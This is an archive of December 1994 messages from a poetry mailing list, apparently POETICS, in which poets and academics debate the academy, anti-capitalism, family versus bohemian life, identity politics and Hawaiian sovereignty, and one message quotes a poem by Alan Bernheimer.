I agree with Abby's comments whole heartedly, I just thought, too, that it was interesting that in the context of the discussion of isolated academics that an academic like Paglia is as popular as she obviously is; and, I think, this also has to do with some of her more "conservative" positions on issues like the canon. She is funny and smart, and, sure, what she does in freeing feminism of a "bad" connotation is an interesting point, but is she really the sort of feminist you want on television promoting feminism? Steinum was supposed to talk here in Tempe, AZ yesterday but cancelled--illness. I agree a feminism made up of different points of view would be a way to free it from negative connotations, but what about her views of rape?

Jeffrey Timmons

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132. Jeffrey Timmons
Re: Exile on Main Street
Fri 9 Dec 1994

On Thu, 8 Dec 1994, k.lindberg wrote:

> *I do think that it behooves poets and philosophers (funny work,that last) to (seek to) address THE WORLD, from which there is no escape, anyway. Discussions of Marxism, as much as they escape concern over academic or p.r. capital, are most important. However, given the complex investments, both utopian and intellectual, in Tito's Yugoslavia, ironies abound if one attempts to reconcile such discussions with the war.*

Yes.

Jeffrey Timmons

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133. Jeffrey Timmons
Re: Academy, etc.
Fri 9 Dec 1994

Thanks for being specific, eric.

Jeffrey Timmons

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134. Jeffrey Timmons
Re: Personal Blisters/Impersonal Burns
Fri 9 Dec 1994

On Fri, 9 Dec 1994, Steve Evans wrote:

> *Not *vulgar* Marxism then, but *obvious anti-capitalism* (obvious in Oppen's sense of what you cannot not see) is what is needed--not as an end, but as a starting point.*
>
> *And, finally, I just wanted to say what a pleasure the recent weeks' discussions have been--largely because of all the "new" voices now on the list. Thanks to everyone for the insights.*

First, I, also, want to say that I have enjoyed being on the list immensely. I have learned a great deal in the past few weeks interaction with y'all and look forward to continuing the banter. I'm leaving for a few days and won't be able to write for about a month, but I'll be back better than ever in mid-jan.

Second, I'd like to know, more precisely, about Steve's view of "obvious anti-capitalism." It sounds intriguing.

Jeffrey Timmons

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135. Mn Center For Book Arts
town/gown/marriage/kindergarten/bottle
Fri 9 Dec 1994

I direct a small press, Chax Press, and even though that work is barely funded, the position is certainly involved with capital, having had some funding from the state in various of its contexts, working with printers who use papers made from trees, etc. I also am the director of a larger nonprofit organization devoted to the book arts, a position more entwined with corporate and foundation funding, the state again, which also runs programs in conjunction with at least four universities, yet which generally positions itself as concerned with "the artist" on the one hand and "the community" on the other (& hopefully the

hands are entertwined). We don't often think of its necessary involvement with capital, but we should.

That said, it still strikes me that, although there has been a lot of intriguing conversation in this forum on this issue of where we work and its relation to the world, it has largely also been guys talking about their jobs as the place where they relate to said world. That seems entirely limiting. At least an equal force in how I understand myself and my relations with what is outside me is my family, including the immediate one of wife and two children, ages 5 and 19 months, but extending far and wide in both space and time, most recently made poignant by the death of a 36-year-old cousin who was the high school principal in the barely one high-school town of Clinton, Oklahoma, and his funeral services which required a football field to accomodate those who wished to memorialize him. Only one of the ways family leads to a much wider "community."

I'm not certain where I want to take this, just that, although I don't want to speak for anyone else, I know that contributors to this discussion, including Ron Silliman and Tom Mandel, are significantly involved in their immediate familial and human relationships and that these provide a point of entrance into the world at least as important to our politics and poetics as do our places of employment. I don't think I'd want to turn this forum into a series of forays into the poetics of diapers, but I do think there is something missing in terms of how we are thinking of ourselves as a community (actually there are probably many things missing). We boys & our jobs are not the only stories, and certainly not even the only human activity we undertake which bears on our relations to capital and more.

charles alexander

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136. Chris Stroffolino

Re: town/gown/marriage/kindergarten/bottle

Sat 10 Dec 1994

In response to charles alexander, yes even men must realize the "personal is the political" as it were, because as 'talkers" or "yakkers" with our "highfallutin'" ideas about things we men (since it is mostly men) have really not 'evolved' much since the time of LYSISTRATA, and though I don't wish to once again return to a reified "essentialist" grid of "male sphere" vs "female sphere" in the "old fashioned" sense, certainly such a grid haunts far more than these discussions on the "net" as it were. At the same time, there are those of us who are not family-men (whether by choice or chance, I cannot tell, "alas") who are not necessarily any less "responsible" or "engaged" with community,

etc. on levels such as you suggest. Though i don't wish to criticize the "mainstream bourgeois family" as LESS IMPORTANT than the "bourgeois quasi-bohemian lifestyle" I do wish to question a possible assumption that claims that THE BOHO is more decadent than the FAMILY MAN. (and this is hopefully not an attemptm on my part to merely reinscribe the dialectics that have informed the "town' vs "gown" debate under different terms). I wish you well with your family, but "the family" does not work for all of us, and I'd like to see what "common ground" there can be between it and the "boho" (for lack of a better word) rather than merely be antagonistic context than the mere bohemian--at least since the 80's and the rise of the L poets. Anyway, what does anyone make of this?

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137. Tom Mandel
Re: Personal Blisters/Impersonal Burns
Sat 10 Dec 1994

Steve -

In an overwhelming example of "lest we forget" I must report that it was I who instigated the DC reading by my friends and C'land poets Kit, Ron and Alan and Bill ! I certainly saw the flyer many times and yes Rod did it - so he gets the credit for clevers and I for, duh...

Looking back at your post, I see that you didn't mention Alan Bernheimer's participation in the reading. Alan is a wonderful poet tho not what you'd call a prolific fellow. I hadn't heard him read in a decade (in wch we mostly lived in the same town) and perhaps half the reading was of works I'd heard him read before. The new stuff was terrific too.

Alan was part of that angle of the then young language crowd that came out of Yale and moved to SF. Kit Robinson and Steve Benson were his classmates, and now I can't remember whether Bob Perelman was also in that bunch of college friends. I think so.

If you don't know his work, it is collected in two volumes (and we are all waiting for a third, Alan): State Lounge (Tuumba, 1981) and Cafe Isotope (The Figures, 1980). More or less on (at least yokable to) our current subjects is his poem Carapace (wch

I hope he will give me retrospective permission to
reproduce here):

CARAPACE

The face of a stranger
is a privilege to see
each breath a signature
and the same sunset fifty years later
though familiarity is an education

who likes what most?

high rounded cornices with baby
moon hubcaps played by the wind

electricity travels from time
to time on the surface of these lips

thoroughly tropical pleasure
forms the customary features
combination eyeteeth and semaphore

everything I touch turns
to flesh or vice versa

Alan Bernheimer
in _Cafe Isotope_

tom

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138. **Tom Mandel**
Re: Academy, etc.
Sat 10 Dec 1994

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to Steve Shoemaker:

gee, I think you've agreed with me and gotten some distance on that by being sarcastic. Perhaps I am the cause, in the sense of having been unintentionally ironic; if so, apologies. I am not a fan of irony, as I think it tends to strengthen the point to be ironized. E.g. if your critique of the academy is ironic, you may be taken to be an academic manque-ay (you know, sour grapes...).

As to: "i think i've put together some pretty interesting reading lists for my classes, lists that have included, for example, many people currently participating in this "list." And i've also consistently found that, despite the odds against it, some pretty surprising things can happen in the classroom--things i haven't seen happen elsewhere very often."

I see no reason why this shdn't be true and I'm glad for all participants if it is. It seems obvious to me that we should distinguish between teaching and learning, which go on at all times and all levels and are activities where the deepest human resources are engaged, and the institutional nexus we call the academy. The discourse above is a consistent extension of, say Plato's 7th letter (is my reference here accurate? the "spark"), and doesn't support an institution, much less a current status thereof. I'm sure such events happened in Heidegger's seminars in the late '30's too - would they invalidate a critique of the German universities under Hitler? (no comparison or other cheap shot intended here)

It is no more relevant to offer instances of teaching/learning as a justification of the institution in its current condition than it is to evidence the spiritual mystery attendant to life and thought as a justification for the Inquisitional auto da fe (tho of course, this is just what was done).

Anyway, the point isn't a rejection of an institution but a contribution to it; the strongest point you might make, you don't: if you want to change an institution you must participate in it, give some big part of your life to it, in whatever form it allows you to do so. So doing gives one a valid position, and justifies beyond clever contradiction your "belief that despite its troubled future, its horrendous contradictions etc., there are still some good reasons to try to work within the academy." Good!

As to my self-righteousness: sorry, it ain't me babe. Your "corny old joke" is quoted without an application. In other words, if I say something it's because I've observed it, thought about it, lived it, and so concluded - provisionally. You don't have to deal with it, but if you want to do so, the challenge is to reply at the level of the statement. Nothing assumed.

That said, the words of mine you quote : "your industry is headed for a collapse; it has lost all justification" are incomplete and misleading. I meant, and shd have said, "all economic justification." I.e. I don't think the economy of the coming century will have the same need for educated workers that capitalism of the 2d half of the nineteenth century discovered and institutionalized as a) mass literacy and b)a large workforce with flexible, "analytic" skills. Therefore, I see the large institutions which were built up out of those requirements as likely to collapse, the class of "clerks" as likely to shrink, literacy and verbal skill as likely once again to become specialized professionalisms, etc.

Obviously, this does not mean I'm in favor of such developments; I do however see the endless marginalization and mediation of the application of ideas, all that to me seems characteristic of the amorph that dubs itself "theory," as evidence in that direction. Nor that I'm right, gloomily enthusiastic soul that I am.

As to my animadversions re: "the narrow reading list," it would be fair to ask me to point to what I think ought to be, but is not, on that list - if we go much further with that thread I'll be forced to contribute an enumeration.

Tom Mandel

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139. Tom Mandel
Re: Personal Blisters/Impersonal Burns
Sat 10 Dec 1994

---

to Steve Evans:

The facts Ernest Mandel cites are horrible. Nor is the
barbarism of our time at question, a barbarism not
exactly restricted to what he calls "imperialism/
capitalism" (i.e. internationalized western-style
economies). His interpretation is at question,
however. ALL interpretations are at question, Steve.
And, yes, this is turning the volume too high, flipping
up the bass, and boogieing to the rhythm we already
know and love. I won't yield to you either in my horror
of this world nor in my deep need for a radical critique
of it. I just don't think you have proposed in these
words anything contributing to such a critique.

Indeed, is it possible to cite horror and take satisfaction in it as supporting one's "position?" Is it impossible? Is it something only the other guy, the bad guy, does?

As to:

> The "you who can eliminate capitalism" is
> not singular but plural, not pre-existent
> but made, not a faded bumper sticker but
> a still distant prospect. Is that too
> hortatory and enthusiastic?

that's right, it is. Is the "still distant" place where you see
this plural you a "not... faded" picture of a future reality?
Is it a carrot? Is your mind, producing this verbal metaphor set,
outside of history? A history in which you would be able to
find many other such pictures. Pictures to which at you must
submit yours, as one in a long series. A series
which requires a very close attention as to how we must
understand it. An understanding that would allow us not

to turn up the volume, not to cite horror at each other as if failing to agree with your, anyone's, interpretation of that horror were to make oneself complicit with horror. A horror applicable at large levels and small: a friend of mine's brother was murdered this week. This week and every week, I am someone's brother, are you?

Tom Mandel

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140. Donald J. Byrd
Re: Academy, etc.
Sat 10 Dec 1994

I have been working in the Academy since 1971. The only other job I have had in my adult life was working in a warehouse. I prefer the academy.

It seems to me that this thread--unlike most threads on this list-- has been generally ill-informed and bogged down in stereotypes.

The academy, like every thing else in Babylon, is a mess. It is the most conservative cultural institutions. The archives for which it is responsible _is_, or used to be, THE culture. Its function is as an adjunct to the human genome, and it systematically inscribes the code on generation after generation. Or tries to, often with minimal success.

Of course, I am speaking here of the institution as a whole, not just graduate school in English (this has been deep confusion in this discussion).

The institution is almost wholly mediated by the alphabet-- and the alphabet suddenly turns out to be a relatively insignificant medium. The kind of reading that the New Critics thought to teach to, if not the masses, a very large middle class is increasingly a specialized skill, like say being able to solve differential equations. A large majority of our 1000-plus English majors here at Albany are pre-law or pre-M.B.A. (Business schools like students who can read and write).

Of course, most graduate programs in English have refused to notice this fact, and wouldn't know what to do about it if they would notice it. Conservative institutions are by there nature not prepared to deal with this kind of change.

But academia is not in as bad a crack as, say, the auto industry which has failed to notice that their business is likely to be seriously impeded when exhaust pollution does permanent damage to the biosphere.

I would say my work in the university has been fairly successful. Every year I encounter a few people who like to read and their adrenalin gets up over thinking, and talking, who in this culture are likely to feel that they are crazy or worthless, and I tell them that they are not crazy or worthless, and some of them believe me. This seems to me, given the circumstances, fairly useful.

Don Byrd

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141. Steven Howard Shoemaker

Re: Academy, etc.

Sat 10 Dec 1994

Tom Mandel writes:

> *It is no more relevant to offer instances of teaching/learning as a justification of the institution in its current condition than it is to evidence the spiritual mystery attendant to life and thought as a justificatio for the Inquisitional auto da fe (tho of course, this is just what was done).*

Those "instances of teaching/learning" are, for better or worse, in some sense organized and permitted by the "institution" that is the academy. So it seems to me fair to adduce those instances in a discussion of said institution. I agree, however, that that is only one part of the story, & not adequate on its own without attention to the larger structural/cultural/ corporate context. But all those levels, including the level of classroom "instances," are imbricated.

> *That said, the words of mine you quote : "your industry is headed for a collapse; it has lost all justification" are incomplete and misleading. I meant, and shd have said, "all economic justification." I.e. I don't think the economy of the coming century will have the same need for educated workers tha capitalism of the 2d half of the nineteenth century discovered and institutionalized as a) mass literacy and b)a large workforce with flexible, "analytic" skills. Therefore, I see the large institutions which were built up out of those requirements as likely to collapse, the class of "clerks" as likely to shrink, literacy and verbal skill as likely once again to become specialized professionalisms, etc.*

Well, there's a big difference between "all justification" and "all economic justification" and i don't think a more "complete" quotation on my part cld have smoothed over that gap. At any rate, i responded to the first phrase, hearing a different meaning than you unpack here.

> *As to my animadversions re: "the narrow reading list," it would be fair to ask me to point to what I think ought to be, but is not, on that list - if we go much further with that thread I'll be forced to contribute an enumeration.*

Alright, let's have it!

steve shoemaker

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142. Steven Howard Shoemaker
Re: town/gown/marriage/kindergarten/bottle
Sat 10 Dec 1994

Whew. We seem to be hitting a stage here, where we all feel compelled to spell out our "distinctions," which frequently get expressed as binary oppositions: town/gown, G1/G2, boho/family, men/women, whites/people of color. Probably this process is inevitable, and hopefully a prelude to new and productive "negotiations" among various "subject positions." It's an old question by now, but apparently still relevant: as we follow the process thru how do we go about discarding the dualistic habit of mind? Is it really possible, even in our supposedly pomo universe?

steve shoemaker

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143. Clint Burnham
Re: Eagleton Quote
Sat 10 Dec 1994

I find Eagleton's work quite helpful. He's worked through the relations between theory and marxism and literature very well, although he has blind spots.

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144. Clint Burnham
Re: Punk
Sat 10 Dec 1994

George:

too much of the music is so well done that it's impossible to characterize punk as poorly played music. some of it still now, despite the label slacker, is technically brilliant and, as bill bissett would say, raging.

clint

↑ Index

145. Marc Nasdor
Re: The National Question, etc.
Sat 10 Dec 1994

James Sherry's comments on internationalism are quite to the point and, for me, heartening. Patricularly his closing sentence advocating active shaping as opposed to after-the-fact resistance. With that in mind, what I'd like to see here is a discussion related to the necessity of forming alliances between so-called "intellectual classes" (to use a Wall St. Journal epithet) & the used-to-be-called "Reagan Democrats" who remain in the moral and intellectual stupor massaged into them by Gingrich & Co.

Face it, with the results of the last election, Amerika's going to be getting a lot crueler before it gets any more compassionate. Having worked for one of the world's largest management consultants (specializing in "business process reengineering" = downsizing), I can report that *this* particular aspect of "internationalism" is a juggernaut that does not appear to be slowing down

I get the feeling that the earnest postings I have read on this list may come to nothing if intellectuals (such as the members of POETICS) cannot devise a method of narrowing what has becoming a widening *cultural* gap in this country. Mr. Gingrich only succeeds because he recognizes fertile ground on which to capitalize.

I've got a piece of stale, moldy news: we're walking on the same piece of ground, and we'd better search for potential allies from outside our rather circumscribed communities. I probably sound like I'm advocating James's second (undesirable) course: resistance over pro-active shaping. On the contrary, but I seem to come up with conflicting ideas on how to begin on the course James advocates. I would like him to elaborate on his final sentence, and would hope others may join in.

Regards,

Marc Nasdor

[redacted]

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146. Donald J. Byrd
Re: The National Question, etc.
Sun 11 Dec 1994

Mark Nasdor writes:

> *With that in mind, what I'd like to see here is a discussion related to the necessity of forming alliances between so-called "intellectual classes" (to use a Wall St.*

> *Journal epithet) &*
> *the used-to-be-called "Reagan Democrats" who remain in the moral and intellectual stupor massaged into them by Gingrich & Co.*

On what possible grounds might such an alliance be based?

So called Reagan Democrats, who are little different from Reagan Republicans, are devoted solely, as far as I can see, to greed.

I would suggest that corporate down-sizing is being done-- like everything else-- backwards. Rather than having businesses devoted to downsizing corporations, we should have businesses devoted to restructuring cities that could function without automobiles. The downsizing of corporations would then follow as a natural consequence.

The great repressed fact--comparable to the repression of sexuality in the 19th century-- is that the earth cannot long support the levels of exploitation it is now supporting. It certainly can't support several billion Asians, AFricans, and Latin Americans at the level of material waste that everyone enjoys witnessing on satelite TV. It can't even support a significant number of excluded Americans and Europeans at that level.

It seems to be two things need to happen:

1) We need something like a kind of psychoanalysis to bring repressed greed to consciousness;

2) We need to find something other than material extravagance as a motivating human factor.

Of course, conceiving a viable politics on the basis of these principles is a difficult, but nothing less appears viable.

Don Byrd

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147. Chris Stroffolino
Re: The National Question, etc.
Sun 11 Dec 1994

So, Prof. Byrd, Herr Doktor, how do we begin this psychoanalysis of greed? Maybe instread of a couch a bed of nails? maybe block off all the highways that lead from the city to the suburbs at 5PM??? Maybe dose people with psychedelics instead of the mainstay of the bourgeois psychoanalytic industry rhymes with "greed")...Ah, utopia, utopia, there's gotta be more to life and thought than that. "We all'd love to see the plan..." said Lennon to Lenin

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148. Jeffrey Timmons
Re: The National Question, etc.
Sun 11 Dec 1994

I am intrigued by the idea of alliances among communities, as per Nasdor's and Byrd's posts . . . particulary as we have been so preoccupied with articulating our differences. Where are the connections and possibilities for interactivity? Alas, I am leaving, tomorrow for a month, and will miss being able to respond for such a long period of time, but, rest assured, I am going to pour over the past posts in some detail on my contemplative journey (I'm taking the train--three days!) across the American landscape. I've never made the journey in the winter. I would just like to leave with the thought that while it has been highly useful to observe the differences in positions, the direction Byrd and Nasdor suggest may prove, at least, equally useful. Perhaps I suffer under the delusion that discussions and issues such as we have been preoccupied with here are somehow important or even part of a larger world. . .but the investment we have all made suggests to me very much otherwise. Now, what do we do?

"What shall we ever do?"

"Goonight. Goonight"

Jeffrey Timmons

AH! YOU FOUND THE SURPRISE!

HAPPY HOLIDAY!

↑ Index

149. Jeffrey Timmons
Re: The National Question, etc.
Sun 11 Dec 1994

Sorry, couldn't resist:

On Sun, 11 Dec 1994, Chris Stroffolino wrote:

"Ah, utopia, utopia, there's gotta be more to life and thought than that."

I like vanillautopia, though I've developed a taste for chocalateutopia too.

"If you don't eat you meat you can't have any pudding! How can you have any pudding if you don't eat your meat!"

Jeffrey Timmons

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150. **Marc Nasdor**
Re: The National Question, etc.
Sun 11 Dec 1994

Don Byrd responds to my post:

> *On what possible grounds might such an alliance be based?*
>
> *So called Reagan Democrats, who are little different from Reagan Republicans, are devoted solely, as far as I can see, to greed.*

That's a relatively recent phenomenon, brought about after 1980 by Reagan and cohorts; that is, convincing the traditional working classes that they were mistaken to follow any sort of "left" agenda. I believe the Reagan Republicans began chewing away at their weakest links to the Democratic Party-- by engaging them in the *cultural* arena before introducing the greed factor-- and then convinced them that the accumulation of material possessions, as well as the practice of conspicuous consumption, was the "correct" stance. It is all too obvious that the Democratic Party was, and remains, so fearful of engaging its core constituency because it is, in fact way out of touch. The Republicans are correct on that point, but for the wrong reasons. And as I posted earlier, Gingrich et al focus on culture first economics second. That can make it difficult to engage *anyone* in a Marxist analysis of the problem if one limits one's arguments to economics.

> *I would suggest that corporate down-sizing is being done-- like everything else-- backwards. Rather than having businesses devoted to downsizing corporations, we should have businesses devoted to restructuring cities that could function without automobiles. The downsizing of corporations would then follow as a natural consequence.*

A fantasy, Don. There are so few cities that could be restructured in such a manner (even if funds were available). Further, the majority of Americans (80%, I believe) live outside of cities, mostly in suburbs or exurbs. The car still rules, unfortunately, and will continue to do so as businesses continue to flee urban areas for the new zones of "worker housing"--townhouse ghettoes.

> *1) We need something like a kind of psychoanalysis to bring repressed greed to consciousness;*

How is it repressed?

> *2) We need to find something other than material extravagance as a motivating human factor.*

"Kill em' all. Let God sort 'em out." ;-)

Oy vay!

Marc Nasdor

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151. **w.curnow**
academy, etc.
Sun 11 Dec 1994

THE ACADEMY may be the larger term. The University, too, may have something of the universe about it, but the local variations are considerable. The Profess of that? Here one is at a distance from the centre of it--the Books and Journal elsewhere, the Conferences are held elsewhere and the funds to go limited-- and the local Branch (there are 6 English Departments) inactive partly because too small and dispersed. What is the case with the Profession and the Universit here is of course also the case with other structures in the culture as well. produces a "thinness" in which the gains of specialisation (to which the Pro- fession and the University are particularly devoted) are hard to realise. On the other hand, the locale suits versatility, interdisciplinarity, cross-dressing. has implications for teaching/training and for how best to interpret one's rol as an academic in New Zealand.

For a good while now while working in the English Department I have been writing poetry, teaching American poetry.writing about it, writing about contemporary art , and operating as a free-lance curator and arts administrator. This mix has served to deliver to hand a situation of sufficient complexity. Also, since the campus is located downtown as most of you folks say, I can get out of here easily and see shows, meet up with artists, dealers, etc. (I have thought the dis- location of so many US universities from city life is one of their major drawbacks and, in particular accounts for their distance from, in- comprehension of, contemporary art practices) I have not worked for corporations, but have been under contract to art museums, arts councils, and cultural foundations for quite large exhibition, conference, and publication projects. This extra-mural activity is on-going; it seems a permanent and necessary part of my programme. I have learnt a great deal from it, not the least being the demands it make for all manner of competencies not required or thought of within the Uni- versity. And it is essential to any notion I might have of my contrib- ution to the University-as-Academy. Although at first reluctant to accept these breaches of Discipline--the Discipline of English, that is--the University, I must say, has gradually come to accept them.

Wystan Curnow

↑ Index

152. Mn Center For Book Arts
Re: town/gown/marriage/kindergarten/bottle
Sun 11 Dec 1994

To respond to Chris Stroffolino, no indeed the BOHO is not less important or more irresponsible than the FAMILY. Indeed there are contemporary crises in both. And we are all, if not parents, children. Just to agree with you that the terms of person need to be part of the discussion as much as the terms of work.

charles alexander

↑ Index

153. Robert Drake
Re: town/gown/marriage/kindergarten/bottle
Sun 11 Dec 1994

---

i didn't read charle's original post as refering to a narrow/ traditional definition of "family" as in nuclear... but rather a counterbalance on the side of _human_ relationships when the discussion has been focused on _economic_ relationships (&& yeah i know, they can't be seperated frm one another etc; but bottom- line telling that the discuss has been cast only in terms of work). that counterbalance is, i think, valuable... it also does not exclude extended definitions of family, including various Boho arrangements of oneself among one's loved ones...

lbd

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154. Eric Selinger
Re: haoles
Mon 12 Dec 1994

On Fri, 9 Dec 1994, Susan Schultz wrote:

> *I'm not sure you can have it both ways, Eric; if the classroom is to be a place where therapeutic anger authorizes students, then it's possible to regard Trask's poem as just that: a therapeutic exercise of getting angry. Though the word "therapy" suggests that somehow we'll all work through this in the end.*

Hm. Clearly didn't make myself clear, there. I'm very doubtful of the notion of "therapeutic" classroom anger. Yes, yes, I know: Let fury have the hour / Anger can be power, etc. But I was far more impressed by the degree to which the pleasure of righteous rage (at LAST I get to sound off, cut in, go on the attack) was therapeutic only for the authorized patients. The rest of us were

supposed to flush & bear it, & feel good about how bad we felt. Sorry: I don't buy it as pedagogy or as ethics.

My problem with equating the poem with
> "ethnic cleansing" is that the Hawaiian sovereignty movement is a
> separatist movement, not an imperial one (as in the "former
> Yugoslavia"). Trask may want more of us haoles (and in this number she'd
> include local Asian Americans) to leave the state, but I don't get the
> sense that she wants to line us up and shoot us.

And when you don't want to leave? And when it's not her, but someone else?

In the context of her
> entire book, Trask's position is a bit more complicated than this poem
> suggests: there's a love poem to her haole partner of many years in
> there, too (although he's presented as a "good haole" who supports her
> struggle to the utmost).
>

Why, some of her best friends are haoles! (A cheap shot, but therapeutic, right?

> *A note from yesterday's paper. "Bumpy" Kanahele, who led the year long occupation of Makapu'u beach, is quoted as saying that tourism and sovereignty are not entirely incompatible. He denied saying that he'd ever advocated violence against tourists: "What he did mean, he said, was that if the Hawaiians do not get what they want, things could get violent. But rather than let that happen, his organization would once again go the tourists and tell them their presence is lending support to an economy that is based on an illegal government in land improperly seized from the Hawaiians" (in 1893). After independence, and because of it, he argues, a better grade of tourist will come to Hawaii (an interesting spin on tourism, certainly).*

So I'm partly supposed to support this out of snob value--no mo' tacky shirts and polyester leis?

I don't mean to be arrogant, merely obnoxious and suspicious. What part of the US isn't based on land improperly seized from someone? Where are all the rest of us supposed to go? And, again, what if we don't want to? I think the worst-case scenario must always be faced: I doubt that you or I can flip through a list of revolutionary / sovereignty movements and determine, in advance, who'll be violent, especially based on notions of "imperialism." Too many counterexamples.

Cranky from lack of coffee,

E.

↑ Index

155. Eric Selinger
Re: Academy, etc.
Mon 12 Dec 1994

On Sat, 10 Dec 1994, Donald J. Byrd wrote:

> The kind of reading that the New Critics thought to teach
> to, if not the masses, a very large middle class is increasingly
> a specialized skill, like say being able to solve differential
> equations. A large majority of our 1000-plus English majors here
> at Albany are pre-law or pre-M.B.A. (Business schools like students
> who can read and write).
>
> Of course, most graduate programs in English have refused
> to notice this fact, and wouldn't know what to do about it if they
> would notice it.

As someone who regularly teaches American lit to freshmen & non-majors--not what I was trained to do, as such, in graduate school, but something that I find increasingly entertaining--I'd love to know: what forms of reading do you think SHOULD be taught, or at least encouraged? By reading I mean something like, "engagements with the text," I suppose. An open appeal for advice, before I weigh in with my own ill-formed, ill-gotten notions.

EMS

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156. Ron Silliman
Re: haoles
Mon 12 Dec 1994

One sentence here stands out:

> *My problem with equating the poem with "ethnic cleansing" is that the Hawaiian sovereignty movement is a separatist movement, not an imperial one (as in the "former Yugoslavia").*

This would seem to be a "classic" question of a group's relation to power (the center). That which is at the center (or conceives of itself as a center) moves outward, imperial motion. That which perceives itself at the margin merely defines the margin (builds that border). Both seem to involve an essential(ist) xenophobia. Such is at the heart of every identity politics. The relative danger comes from the relation to power, no?

And at the real center comes that almost snow blindness of presuming it's "just us." Hence prop 187 in California and the Bubba vote throughout the US in 1994, revenge of the white males.

Interesting how, given what a "boy" discussion this has been for the past week or so, nobody here at all takes the standard Bubba position, even while the range of politics and poetics involved seems pretty broad. To be a poet makes an internationalist out of many (at least here in the US -- Dubravka Djuric has noted how many opportunistic poets in Serbia have taken advantage of the situation there to gather little fiefdoms of state power and how even the opposition Croat and Bosnian poets have quickly moved into nationalist positions that seem to have as much to do with what's in it for them as it does the needs of "their people."

So what is this concept "my people"?

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157. Kit Robinson
Walking Grove of Trees
Mon 12 Dec 1994

Reply to: Walking Grove of Trees
Contrary to Tom & Ron, I would like to offer anyone pursuing an academic career this advice: stay in school! I decided a long time ago not to go to graduate school. Now I have to hustle my butt off just to make ends meet. I don't even have time to read all these emails! I think the reason I decided not to go to graduate school had something to do with wanting to become a poet. Of the many, many poets whose work I admire, none have been academics. But there's always a first time, and this might be it!

Kit Robinson

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158. Robert A Harrison
Re: haoles
Mon 12 Dec 1994

Ron Silliman asks, whether rhetorically or not - What is this concept "my people"?

I agree the term is problematic. A bit different than the concept "my community." Seems that "my people", in identity politics, usually implies a

sense of shared loss, or potentially shared loss. Seems that usually all of "my people" are fairly easily distinguishable from others, at LEAST to some potentially threatening others. I don't think the use of the term necessarily implies xenophia. Just like fear doesn't necessarily imply paranoia. Its use is often an attempt to unify in the face of division & conquering, no? On the other hand, the term could be used to rally the troops for extermination of an other. There's nothing inherently wrong in using the term, or good, it seems to me. Not only adds to binary confusion, but could help people gain a better "sense of themselves", no matter how illusory or how real, with which to participate in the world.

I imagine the concept is an absolutely essential one for many people.

Bob Harrison

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159. Chris Stroffolino

Re: town/gown/marriage/kindergarten/bottle

Mon 12 Dec 1994

Yes, Charles (Alexander)--Isn't agreement boring? But I agree about not "divorcing" so-called "work" and so-called "free time" and I was intrigued by Shoemaker's wanting to go beyond binaries, or maybe I misread him, maybe he's saying it's impossible--and sure, there's no point CONCEPTUALLY doing away with certain binaries unless of course we disagree with referentiality, but obviously we don't or we wouldn't be talking about the town vs gown as if its rival tribes.... When I was a freshman in college a long time ago, they wanted the floor I lived on in a "dorm" to form a "team" against another floor where most of my friends lived (this is not an allegory of upward mobility-hint, hint) Anyway, the point is THAT what's silly about all these distinctions is that there is SOME SOCIAL FORCE that keeps us divided from each other--I tend to want to call it capitalism (but a rose by any other name...) and as one gets older the possibility of social engagement OUTSIDE THE FAMILY seems increasingly harder to pull off--The same old song, the death of community. I find it funny that people say "town" vs. "gown"--for certainly academics do not form a unified front. So, what's at stake in all this divisiveness! Ego? Pride? 12 Step program Rhetoric! Investments, commitments, marketing ploys. Testesterone! None of these explanations seem to account for it-- I know why because AGREEMENT (or what we call agreement) IS BORING and that brings us back to do....Chris Stroffolino

↑ Index

160. Chris Stroffolino
Re: town/gown/marriage/kindergarten/bottle
Mon 12 Dec 1994

i had lost my thread in abstractions--when I say "divisiveness" I do not merely mean argumentative divisiveness, I mean the entire, uh, existential, (there I said it, though a better word of course is welcome--since all words seem approximations anyway) divisiveness that has a lot to do with the way this society attempts to assign us in predetermined grids, not just alienated labour and specialization but its echo in "personal stuff" and they are two sides of the same coin, a coin we should either try to melt down, but HOW? Being torn of course between wanting to attack the "bourgeois individual" from a position of the collective and on the other hand distrusting the NORMALIZING function collectivity seems to necessitate as in Neitzsche's genealogy (strong become evil, etc). I don't know this but abstractly.maybe it would be better if Charles Alexander actually DID turn this into a discussion about DIAPERS--for there should be a way for us oh so enlightened and concerned avant-gardists (sic) to be able to deal with such things without either cynical irony on one hand or IOWA school "musings" on the other. Though I think WCW is relatively over-emphasized (if not over-rated), at least he could write things like "Dance Rusee"-- to find the BOHO IN the family man, the family man in the BOHO, etc... Otherwise we become stereotypes for each other, "the grass always greener with envy on the other man's yawn"---Cranky (from too much coffee), Chris Stroffolino

↑ Index

161. James Sherry
Re: Univeral Blisters/Individual Burns
Mon 12 Dec 1994

Having been through some graduate school, taught at NYU for a few years, worked as an independent entrepreneur, worked as a capitalist lackey, done manual labor painting outsides of high rises, published 10 books that made money and 8 books (poetry) that lost money, published 75 literary titles, run a non-profit distribution service, worked for the city of New York, and since I am always looking for work to do I figure I have failed at everything I have ever tried to do. In the light of this experience which I do not wish to describe as holier, simply that I have some direct experience of both sides of the fence that is being disputed as well as other fences of the labor market not described, I would expect that any honest look at the corporations and universities described in your letters differ little from each other in their most important respects. Generally universities treat workers worse and do less damage with their output while corporations treat workers better in comparable positions,

but engage in risk taking to the extent that their output has a greater direct effect, good and bad, on the society, environment, and individual lives. They make together two of the many kinds of institutions we live with and any attempt to denigrate either type of institution is both narrow and irrelevant. The risks of corporate life now are great. The inability of universities to significantly amend those risks is pathetic. Read today's NY Times re: Bass & Yale. Transnationalism is a fact. Can these discussions turn that situation around? Can we add an accent to it that will increase the benevolence of our physical and intellectual environment in an entire world? How do you expect to affect it? What is your program? What cooperation does this group offer?

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162. **James Sherry**
Re: Univeral Blisters/Individual Burns
Mon 12 Dec 1994

Once again Steve, your response to Ron is counter productive, well reasoned, but can you accept that a single world exists whose cultures ar merging and their intersection causes these clashes. The emerging world culture is not better or worse than the indigenous cultures that are being infected by each other. Ron's anti-universal arguement and your response to it, "true or false universalism", are again polarizing a world that can be viewed as having two poles or two critical loci of its magnetic field. The arguments pro and con do not elucidate the way they interact, only the way you feel them impacting your personal life. I hardly consider your position universal.

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163. **Sheila Murphy**
ASSORTED
Mon 12 Dec 1994

It's been a pleasure performing a kind of lump sum lurking in this Poetics forum, following a patch of down time while a crafty computer consultant helped unclog this machine, thereby freeing up space to let the AOL upgrade flower.

